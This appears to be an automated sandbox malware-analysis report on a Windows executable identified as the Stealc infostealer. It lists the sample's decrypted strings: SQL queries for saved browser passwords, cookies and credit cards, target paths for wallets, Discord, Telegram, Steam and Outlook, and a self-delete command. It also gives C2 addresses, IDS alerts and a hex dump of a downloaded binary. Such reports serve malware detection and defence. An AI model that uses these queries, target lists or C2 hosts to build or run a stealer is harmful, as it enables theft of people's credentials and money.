Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: PATH
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: browser:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: profile:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: url:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: login:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: password:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Opera
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Network
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: cookies
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: .txt
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: TRUE
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: FALSE
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: autofill
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: history
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: cc
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: name:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: month:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: year:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: card:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Cookies
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Login Data
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Web Data
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: History
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: logins.json
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: usernameField
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: guid
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: plugins
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Local State
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: chrome
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: opera
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: firefox
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: wallets
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: ProductName
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: x32
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: x64
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: - OS:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: - Language:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: All Users:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Current User:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Process List:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: .exe
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: runas
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: open
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: /c start
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: files
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: \discord\
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: key_datas
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: map*
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Telegram
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Tox
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: *.tox
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: *.ini
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Password
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: 00000001
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: 00000002
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: 00000003
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: 00000004
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: token:
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: \config\
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: done
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: soft
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: https
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: POST
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: hwid
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: build
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: token
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: file_name
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: file
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: message
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.dd0000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C66A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C664440 PK11_PrivDecrypt,	0_2_6C664440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C634420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C634420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6644C0 PK11_PubEncrypt,	0_2_6C6644C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C6B25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C648670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C66A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C64E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C68A730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C690180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6643B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C6643B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C687C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C687C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C647D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C647D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C68BD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C689EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C689EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C663FF0 PK11_PrivDecryptPKCS1,	0_2_6C663FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6C669840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C663850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C663850

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49825 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2627816247.000000006F8CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2627816247.000000006F8CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49971 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49977

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 07:43:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 